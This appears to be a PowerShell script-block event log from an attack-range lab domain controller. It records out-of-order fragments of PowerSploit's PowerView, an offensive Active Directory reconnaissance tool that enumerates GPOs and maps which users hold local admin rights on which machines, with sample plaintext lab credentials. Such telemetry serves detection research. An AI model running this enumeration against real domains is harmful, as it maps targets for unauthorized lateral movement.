$GPOMembers = $GPOGroup.GroupSID } $GPOMembers | ForEach-Object { $Object = Get-DomainObject @CommonArguments -Identity $_ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOComputerLocalGroupMember = New-Object PSObject $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') $GPOComputerLocalGroupMember } } } } } } function Get-DomainPolicyData { <# .SYNOPSIS Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID .DESCRIPTION Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller using Get-DomainGPO. .PARAMETER Domain The domain to query for default policies, defaults to the current domain. .PARAMETER Policy Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. Otherwise queries for the particular GPO name or GUID. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainPolicyData Returns the default domain policy for the current domain. .EXAMPLE Get-DomainPolicyData -Domain dev.testlab.local Returns the default domain policy for the dev.testlab.local domain. .EXAMPLE Get-DomainGPO | Get-DomainPolicy Parses any GptTmpl.infs found for any policies in the current domain. .EXAMPLE Get-DomainPolicyData -Policy DC -Domain dev.testlab.local Returns the policy for the dev.testlab.local domain controller. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainPolicyData -Credential $Cred .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Source', 'Name')] [String] $Policy = 'Domain', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $ConvertArguments['Domain'] = $Domain } if ($Policy -eq 'All') { $SearcherArguments['Identity'] = '*' } elseif ($Policy -eq 'Domain') { e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122629Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2844, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $ResolveMembersToSIDs, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainGPO @SearcherArguments | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists $Inf = Get-GptTmpl @ParseArgs if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { $Memberships = @{} # parse the members/memberof fields for each entry ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} # extract out ALL members $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if ($PSBoundParameters['ResolveMembersToSIDs']) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach ($Member in $MembershipValue) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { $ConvertToArguments = @{'ObjectName' = $Member} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID @ConvertToArguments if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $MembershipValue = $GroupMembers } if (-not $Memberships[$Group]) { $Memberships[$Group] = @{} } if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } ForEach ($Membership in $Memberships.GetEnumerator()) { if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') if ($GroupSID -and ($GroupSID.Trim() -ne '')) { $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { $GroupName = $False } } else { $GroupName = $Membership.Key if ($GroupName -and ($GroupName.Trim() -ne '')) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } elseif ($GroupName.Trim() -ne '') { $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $GroupSID = ConvertTo-SID @ConvertToArguments } else { $GroupSID = $Null } } } $GPOGroup = New-Object PSObject $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $GPOGroup } } # now try to the parse group policy preferences file (Groups.xml) if it exists $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } Get-GroupsXML @ParseArgs | ForEach-Object { if ($PSBoundParameters['ResolveMembersToSIDs']) { $GroupMembers = @() ForEach ($Member in $_.GroupMembers) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $_.GroupMembers = $GroupMembers } $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $_ } } } } function Get-DomainGPOUserLocalGroupMapping { <# .SYNOPSIS Enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation. If no user/group is specified, all discoverable mappings are returned. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup .DESCRIPTION Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-DomainGPOLocalGroup 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites If no user/group is specified, all user/group -> machine mappings discovered through GPO relationships are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the user/group to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOUserLocalGroupMapping Find all user/group -> machine relationships where the user/group is a member of the local administrators group on target machines. .EXAMPLE Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOUserLocalGroupMapping -Credential $Cred .OUTPUTS PowerView.GPOLocalGroupMapping A custom PSObject containing any target identity information and what local group memberships they're a part of through GPO correlation. .LINK http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { $TargetSIDs = @() if ($PSBoundParameters['Identity']) { $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid $TargetObjectSID = $TargetSIDs if (-not $TargetSIDs) { Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } else { # no filtering/match all $TargetSIDs = @('*') } if ($LocalGroup -match 'S-1-5') { $TargetLocalSID = $LocalGroup } elseif ($LocalGroup -match 'Admin') { $TargetLocalSID = 'S-1-5-32-544' } else { # RDP $TargetLocalSID = 'S-1-5-32-555' } if ($TargetSIDs[0] -ne '*') { ForEach ($TargetSid in $TargetSids) { Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid } } Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { $GPOgroup = $_ # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID if ($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { $GPOgroup } } } | Sort-Object -Property GPOName -Unique $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType if ($_.GroupMembers) { $GPOMembers = $_.GroupMembers } else { $GPOMembers = $_.Groe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122628Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2744ew-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPO -Credential $Cred .OUTPUTS PowerView.GPO Custom PSObject with translated GPO property fields. PowerView.GPO.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GPO')] [OutputType('PowerView.GPO.Raw')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Parameter(ParameterSetName = 'ComputerIdentity')] [Alias('ComputerName')] [ValidateNotNullOrEmpty()] [String] $ComputerIdentity, [Parameter(ParameterSetName = 'UserIdentity')] [Alias('UserName')] [ValidateNotNullOrEmpty()] [String] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GPOSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GPOSearcher) { if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { $GPOAdsPaths = @() if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' $TargetComputerName = $Null if ($PSBoundParameters['ComputerIdentity']) { $SearcherArguments['Identity'] = $ComputerIdentity $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 if(-not $Computer) { Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } $ObjectDN = $Computer.distinguishedname $TargetComputerName = $Computer.dnshostname } else { $SearcherArguments['Identity'] = $UserIdentity $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 if(-not $User) { Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } $ObjectDN = $User.distinguishedname } # extract all OUs the target user/computer is a part of $ObjectOUs = @() $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { if($_.startswith('OU=')) { $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } } Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" if ($ObjectOUs) { # find all the GPOs linked to the user/computer's OUs $SearcherArguments.Remove('Properties') $InheritanceDisabled = $False ForEach($ObjectOU in $ObjectOUs) { $SearcherArguments['Identity'] = $ObjectOU $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { # extract any GPO links for this particular OU the computer is a part of if ($_.gplink) { $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $Parts = $_.split(';') $GpoDN = $Parts[0] $Enforced = $Parts[1] if ($InheritanceDisabled) { # if inheritance has already been disabled and this GPO is set as "enforced" # then add it, otherwise ignore it if ($Enforced -eq 2) { $GpoDN } } else { # inheritance not marked as disabled yet $GpoDN } } } } # if this OU has GPO inheritence disabled, break so additional OUs aren't processed if ($_.gpoptions -eq 1) { $InheritanceDisabled = $True } } } } if ($TargetComputerName) { # find all the GPOs linked to the computer's site $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $SearcherArguments['Identity'] = $ComputerSite $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular site the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } } } # find any GPOs linked to the user/computer's domain $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) $SearcherArguments.Remove('Identity') $SearcherArguments.Remove('Properties') $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular domain the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" # restore the old properites to return, if set if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } else { $SearcherArguments.Remove('Properties') } $SearcherArguments.Remove('Identity') $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { # use the gplink as an ADS path to enumerate all GPOs for the computer $SearcherArguments['SearchBase'] = $_ $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" Get-DomainObject @SearcherArguments | ForEach-Object { if ($PSBoundParameters['Raw']) { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $_ } } } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GPOSearcher = Get-DomainSearcher @SearcherArguments if (-not $GPOSearcher) { Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -match '{.*}') { $IdentityFilter += "(name=$IdentityInstance)" } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(displayname=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } else { $Results = $GPOSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $GPO = $_ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { $GPO = Convert-LDAPProperty -Properties $_.Properties try { $GPODN = $GPO.distinguishedname $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath } catch { Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } } else { $GPO = Convert-LDAPProperty -Properties $_.Properties } $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $GPO } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } } $GPOSearcher.dispose() } } } } function Get-DomainGPOLocalGroup { <# .SYNOPSIS Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences. Also return their user membership mappings, if they exist. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID .DESCRIPTION First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or group membership is set through Group Policy Preferences groups.xml files. For any GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' section data is processed if present. Any found Groups.xml files are parsed with Get-GroupsXML and those memberships are returned as well. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ResolveMembersToSIDs Switch. Indicates that any member names should be resolved to their domain SIDs. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOLocalGroup Returns all local groups set by GPO along with their members and memberof. .EXAMPLE Get-DomainGPOLocalGroup -ResolveMembersToSIDs Returns all local groups set by GPO along with their members and memberof, and resolve any members to their domain SIDs. .EXAMPLE '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup Return any GPO-set groups for the GPO with the given name/GUID. .EXAMPLE Get-DomainGPOLocalGroup 'Desktops' Return any GPO-set groups for the GPO with the given display name. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOLocalGroup -Credential $Cred .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOGroup')] [CmdletBinding()] Param( [Parameter(Position = 0e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122627Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2644= $Properties.remoteservername $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { if ( $_.Contains('\') ) { New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} } } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 